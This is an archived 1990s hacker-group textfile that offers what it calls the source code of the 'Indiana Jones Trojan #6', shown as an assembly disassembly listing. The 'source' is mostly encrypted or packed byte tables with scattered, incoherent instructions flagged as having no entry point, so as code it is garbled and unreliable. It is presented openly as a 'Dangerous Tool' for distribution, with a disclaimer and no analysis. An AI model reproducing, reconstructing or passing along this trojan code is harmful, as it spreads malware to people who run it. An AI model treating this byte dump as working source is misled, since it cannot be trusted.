💾 Archived View for gemini.spam.works › mirrors › textfiles › groups › PHAIT › indy6.pht captured on 2020-11-01 at 00:35:03.
-=-=-=-=-=-=-
PHAiT PAk#3 \/\/\/\/ \ / /\ /\/\/\/\/\/\ /\/\/\/\/\/\/\/\/\ / / / \ / \ \/ /\ \ \ \ / / \ /\ \/ /\/\/\/\ / \ /\/\/\/\ \/ /\ \ \/\/\/\/\ / \ /\ \/ / / / \ / \/ /\ \ \ \ / \ /\ \/ / / / / \ /\/\/\/\/\/ /\ The Material Contained In This Phile Is For Informational Purposes Only, the Author Is In No Way Liable For The Missuse Of This Dangerous Tool! Now, ZaP of <>PHAiT<> Is Proud To Present: -=[ The Indiana Jones Trojan #6 Source Code ]=- -=[------------------------------------------------------------------------]=- data_44e equ 1893h ;* data_45e equ 1A2Dh ;* data_46e equ 1CE4h ;* data_52e equ 26C8h ;* data_53e equ 2E9Dh ;* data_54e equ 3316h ;* data_58e equ 3F2Dh ;* data_63e equ 47B4h ;* data_70e equ 5612h ;* data_75e equ 6968h ;* data_77e equ 6BABh ;* data_83e equ 880Dh ;* data_92e equ 9ED7h ;* data_94e equ 0A363h ;* data_95e equ 0A8B2h ;* data_96e equ 0A954h ;* data_100e equ 0AC51h ;* data_101e equ 0B487h ;* data_106e equ 0BD88h ;* data_107e equ 0BFACh ;* data_116e equ 0DDC6h ;* data_119e equ 0EF6Fh ;* data_124e equ 0FBC3h ;* data_128e equ 0BCA6h ;* ;------------------------------------------------------------ seg_a ---- seg_a segment byte public assume cs:seg_a , ds:seg_a , ss:stack_seg_b ;* No entry point to code fsubr dword ptr ds:data_116e[bx] ; st = memory - st fyl2x ; st = st(1)*log2(st) db 6Dh,0C7h,0E6h, 28h, 12h, 62h db 96h, 37h,0E6h,0BCh, 2Bh, 6Bh db 1Ah,0A9h, 1Eh,0B5h,0DAh,0C2h db 81h, 37h,0DAh, 5Fh, 81h, 1Dh db 0C3h,0F7h,0A4h, 11h, 7Ch, 7Ah db 0Dh,0DEh,0AEh, 92h, 03h,0FAh db 0C0h, 8Ah,0D6h,0DFh, 52h,0DDh db 0A9h,0DFh,0BAh,0EBh,0A7h,0DDh db 0DDh,0FBh,0A7h,0DDh, 53h,0FBh db 0B9h,0DDh, 30h,0DEh, 52h,0DFh db 0C1h, 10h,0D4h, 20h, 2Eh, 55h db 0BBh,0CDh, 74h,0DEh, 6Eh, 67h db 0FFh,0F2h, 6Fh, 4Bh, 1Fh,0AAh db 0D5h dw 0CD15h, 0DDh dw 6DDEh, 74DDh dw 0B95Dh, 5E1h dw 44F5h, 0C1F1h dw 8F86h, 0DBE3h dw 0B877h, 864Eh db 76h,0A4h, 1Fh, 3Dh,0B2h,0CAh db 0B5h, 9Dh,0E4h, 45h, 9Dh, 0Ah db 0B6h,0BEh, 5Ah,0BCh,0DFh,0BAh db 49h, 45h,0DFh, 46h, 81h,0BDh db 8Dh,0C5h, 65h, 7Bh, 43h, 88h db 0C8h, 48h,0D5h,0ECh, 62h, 75h db 0DBh,0C9h, 1Fh, 8Bh, 43h, 7Bh db 0F4h,0C1h, 50h, 8Ah,0DDh, 2Dh db 9Eh,0ECh,0E1h, 9Bh, 64h, 65h db 0CDh, 80h,0D9h,0A7h,0C8h, 93h db 0F6h, 0Fh, 83h, 0Dh,0E0h,0BAh db 0Dh,0CDh, 86h, 0Dh,0E0h, 44h db 15h,0E7h, 86h, 05h,0F5h,0B8h db 0F9h,0C9h,0C6h, 35h, 67h, 7Eh db 09h,0CBh,0C6h,0A2h,0D7h,0B9h db 5Fh, 02h, 91h,0DCh,0C6h, 3Ah db 81h,0BAh, 69h, 3Ah,0DFh,0BAh db 6Bh, 45h,0DEh, 3Bh, 90h,0BAh db 0AFh, 47h,0EDh, 46h, 8Fh, 3Ah db 61h,0BAh,0AFh, 47h,0EDh, 72h db 60h,0F9h,0DDh,0D8h db 0ADh,0A4h,0DDh,0B9h, 93h, 18h db 0A4h, 74h, 1Bh,0B8h, 4Dh, 97h db 0E3h db 0Dh, 54h, 2Eh db 3Eh, 7Eh,0C1h,0D3h,0D6h, 3Ah db 2Ah,0BBh,0D8h,0B9h db 64h loc_8: mov al,ds:data_52e fsub qword ptr [bp+11h] ; st = st - memory jnp loc_10 ; Jump if not parity jmp short $+36h db 44h,0DBh, 8Bh, 99h, 44h,0A3h db 44h,0C1h,0F0h, 7Dh,0D0h, 43h db 0B8h, 41h, 97h,0F2h, 9Dh, 7Fh db 0ABh,0F2h, 8Dh,0F2h,0ECh, 49h db 9Bh, 0Bh, 7Dh, 9Dh,0D9h,0EBh db 28h, 91h,0D9h,0C8h, 22h,0A7h db 2Ch,0C5h, 29h,0A1h, 22h,0BDh db 2Dh,0BBh,0FFh, 1Dh,0FEh, 82h db 04h, 60h, 0Bh, 68h,0DAh, 1Dh db 0C6h, 1Dh,0B9h,0F1h,0B9h,0DDh db 0B9h,0DDh,0B9h,0DDh,0B9h loc_10: fst qword ptr ds:data_119e[si] ; Store st to memory retf ;* No entry point to code mov cx,0C5BFh db 62h,0E9h, 85h,0D2h, 9Ch, 4Ah db 38h,0ABh,0B6h,0B8h,0BDh, 5Dh db 48h, 0Dh, 47h, 22h, 5Fh,0B4h db 0Dh,0C8h,0DBh,0B7h,0D0h,0CAh db 47h, 6Fh, 2Ch,0A2h,0D3h,0F4h db 97h, 41h,0B7h, 3Ah,0DDh,0F1h db 89h, 13h,0F8h, 7Bh, 54h, 0Dh db 6Fh, 03h db '6Tm,F&if' db 0EFh, 09h, 1Dh, 38h, 9Ah, 1Bh db 17h, 07h, 47h, 81h, 93h, 01h db 08h, 69h, 58h,0F9h, 97h,0F5h db 96h,0D0h, 7Fh,0FAh, 4Fh, 7Fh db 0FFh, 22h, 20h,0FDh, 59h, 78h db 0D7h, 6Dh,0C9h,0A4h,0D3h, 7Eh db 1Fh,0BFh,0B1h,0B3h,0C3h, 20h db 66h, 18h, 34h, 14h, 3Ch,0DEh db 0D6h db 0B6h,0DCh, 17h,0F7h,0FDh, 25h db 0B1h, 0Bh db 4Fh, 4Dh locloop_12: pop word ptr ds:data_77e[di] loop locloop_12 ; Loop if cx > 0 dec bp cmp ds:data_107e,cx mov ax,75DFh iret ; Interrupt return ;* No entry point to code mov al,ds:data_70e mov ch,2Ah ; '*' jbe $+57h ; Jump if below or = add byte ptr ds:data_58e[di],0Ah retf ;* No entry point to code cli ; Disable interrupts mov al,5Ah ; 'Z' sal word ptr ss:data_128e[bx+di],cl ; Shift w/zeros fill db 0F1h, 95h, 46h,0E3h, 03h,0E6h db 70h, 1Eh db 0F3h,0E8h, 8Ch, 25h, 28h,0EEh db 3Eh, 5Ch, 9Dh, 09h, 5Bh, 73h db 8Bh,0FFh, 54h, 1Bh, 4Eh, 4Ah db 6Bh, 95h,0C5h, 4Dh, 3Dh, 3Fh db 52h,0C7h,0ACh, 77h, 8Fh, 5Fh db 08h, 43h,0BEh, 16h, 99h,0CDh db 7Bh, 30h, 13h,0DBh,0B0h, 20h db 46h, 04h, 61h, 96h,0F1h, 34h db 0FBh,0D8h,0D6h,0AEh, 00h,0A7h db 79h, 1Eh, 46h, 22h,0A3h, 4Ah db 0AAh,0D5h, 3Ch, 4Bh,0C8h, 74h db 87h, 20h, 89h,0D6h,0B1h,0D2h db 8Ch, 5Bh, 61h, 41h, 03h, 1Ch db 0AEh,0FBh, 52h,0ABh, 5Bh,0CFh db 34h,0D8h, 69h,0B2h, 2Fh, 75h db 3Dh, 54h, 68h, 18h, 8Ah, 9Dh db 42h, 2Ch, 6Ah,0A6h,0E8h, 32h db 82h, 8Dh,0DEh,0C4h, 61h, 29h db 71h,0E1h,0D0h, 5Eh, 08h,0ADh db 3Ah,0C9h, 02h, 51h, 06h,0C7h db 0AEh,0B1h,0BCh,0A1h, 6Dh,0FAh db 1Ch, 8Eh, 89h, 36h, 41h, 40h db 0FEh,0D1h,0C3h,0FFh,0C0h,0A9h db 18h, 30h, 32h,0DFh,0E4h, 76h db 90h, 3Dh, 07h, 24h,0FDh,0E9h db 66h, 66h,0F5h,0DCh,0D8h, 15h db 9Dh, 18h, 86h, 47h, 24h,0BFh db 0Eh,0E5h,0E7h db 3Eh db 0BEh, 7Eh, 86h,0FAh, 0Fh,0FCh db 56h, 18h, 25h, 20h, 23h, 72h db 34h,0D8h, 4Dh, 17h, 42h, 1Ch db 0C0h db 3Eh db 19h, 94h, 5Eh, 08h,0BFh, 04h db 0Eh, 5Dh, 38h, 4Fh, 22h,0D8h db 7Dh,0BDh, 3Bh, 70h,0F0h,0FBh db 78h,0D8h, 56h, 8Eh,0EAh,0D7h db 0E8h,0B7h, 37h, 81h,0A4h,0E5h db 78h,0AEh, 7Ch, 98h,0CCh, 0Fh db 0E2h, 4Dh, 78h, 7Bh, 9Dh,0FDh db 0C6h, 2Ch,0E9h loc_17: cmp al,0A8h db 8Fh,0B8h, 80h, 73h, 0Ch,0C3h db 72h,0C9h,0F5h, 7Ah, 77h,0D7h db 0D3h,0F8h locloop_18: int 32h ; ??INT Non-standard interrupt or dl,[bx+si-0Ah] cmps byte ptr cs:[si],es:[di] ; Cmp [si] to es:[di] db 6Ah,0E5h, 0Ah,0E6h, 92h,0E6h db 0A2h, 41h,0A0h,0E1h, 6Ah, 2Ah db 0Bh, 46h,0C2h, 12h, 46h,0E3h db 0BCh,0D0h, 0Bh,0AEh, 1Bh,0D2h db 0E8h,0A7h,0ABh, 22h, 78h, 10h db 00h,0CBh,0D4h, 5Fh, 78h,0E8h db 90h, 01h, 88h, 2Eh, 82h, 38h db 28h,0B3h,0D1h, 44h, 24h, 00h db 7Ch, 4Dh, 60h,0D5h, 22h, 3Eh db 5Ah, 57h, 88h, 83h, 07h, 5Bh db 0DAh,0E3h, 25h,0EBh db 0FFh,0B5h,0B4h, 47h, 16h,0B7h db 0DDh, 94h,0C5h, 78h, 3Eh, 1Eh db 0E2h,0ABh, 57h, 43h,0F7h, 18h db 11h, 9Ah, 0Fh,0F6h, 70h, 91h db 46h, 43h,0DAh, 8Fh, 2Dh, 1Ah db 96h,0D8h,0EFh db 0C3h ; Data table (indexed access) db 40h,0A6h, 85h, 99h, 9Dh, 2Eh db 30h, 9Ch,0D7h, 9Eh,0E3h db 3Ah,0FEh db 01h,0D6h,0DFh, 08h, 4Ah, 76h db 18h, 37h, 62h, 28h, 37h,0B3h db 0EBh, 58h, 37h,0B3h, 85h, 73h db 29h,0BCh,0E5h, 14h, 06h, 12h db 98h, 49h,0C5h, 7Fh, 40h, 25h db 7Bh, 96h, 42h,0AFh, 7Fh,0D5h db 0F0h, 93h, 58h,0BDh, 41h, 55h db 8Ch,0B3h, 13h, 25h, 0Eh, 2Ch db 12h, 9Ch, 19h,0F1h, 8Eh, 69h db 0C2h, 34h, 9Eh loc_22: jge $+3Dh ; Jump if > or = retn 0C39Ch db 0F0h,0BEh,0B8h,0ABh db 0Fh, 01h, 67h, 81h,0C2h, 12h db 0AFh,0F7h, 32h, 52h, 28h, 3Fh db 0D5h, 8Fh, 28h,0C7h,0B6h,0EAh db 0BEh,0C7h, 2Ch,0B1h,0ACh, 97h db 0Dh,0C0h, 70h,0C0h,0EBh,0A0h db 50h, 5Ch, 87h,0F8h,0A4h, 87h db 54h,0DBh, 27h, 12h,0A3h, 30h db 8Dh,0E5h, 6Bh,0B7h, 7Fh, 0Fh db 0B5h, 4Dh,0D6h, 8Ah, 6Eh, 3Ch db 92h,0AEh,0C5h,0EAh, 36h,0A0h db 0F1h,0E4h,0CBh, 17h, 21h, 54h db 43h,0F9h,0D7h, 70h,0B9h, 5Bh db 82h, 72h, 5Ah,0FDh, 84h, 41h db 72h, 1Ah, 39h,0F7h, 6Dh,0CFh db 0BCh, 45h,0B9h, 4Eh,0A5h, 31h db 0ECh,0A7h,0DAh, 6Ch, 66h, 22h db 96h, 3Fh,0EBh,0C6h,0A6h, 24h db 11h, 01h, 1Dh,0F1h,0F5h, 55h db 0C2h,0A5h, 6Ch,0D2h, 51h,0E9h db 35h, 7Ch, 47h, 5Eh, 7Ch,0E6h db 0E6h,0B5h,0A1h, 32h, 0Eh, 7Ch db 5Dh,0C9h, 81h,0AAh, 06h, 83h db 0B2h, 6Bh, 23h, 4Fh, 5Eh, 20h db 0F1h, 52h, 57h,0ECh, 36h, 55h db 0F9h, 6Eh, 05h,0A2h,0D5h, 8Bh db 0B2h,0EDh, 87h,0AEh,0FAh, 33h db 0C7h, 07h, 03h, 66h,0AEh, 98h db 94h, 68h,0D6h,0D6h,0F2h, 45h db 01h,0B2h,0D2h, 6Ah, 9Eh,0DDh db 03h, 19h,0CBh, 01h, 68h, 3Eh db 26h, 6Bh,0BFh, 50h,0DBh, 3Bh db 46h, 4Eh, 5Ah, 1Dh, 41h,0C5h db 96h,0EAh, 1Eh, 4Bh, 41h, 04h db 0D2h, 47h, 31h,0BDh, 42h,0A6h db 24h, 74h, 89h, 35h,0DEh,0CEh db 60h, 30h,0BBh, 74h, 7Eh,0E2h db 0EFh, 62h,0F3h,0B5h,0FCh, 0Bh db 0F8h,0C1h,0A0h, 5Ah,0C4h,0F7h db 0C9h db 'MRBgME,W', 9, '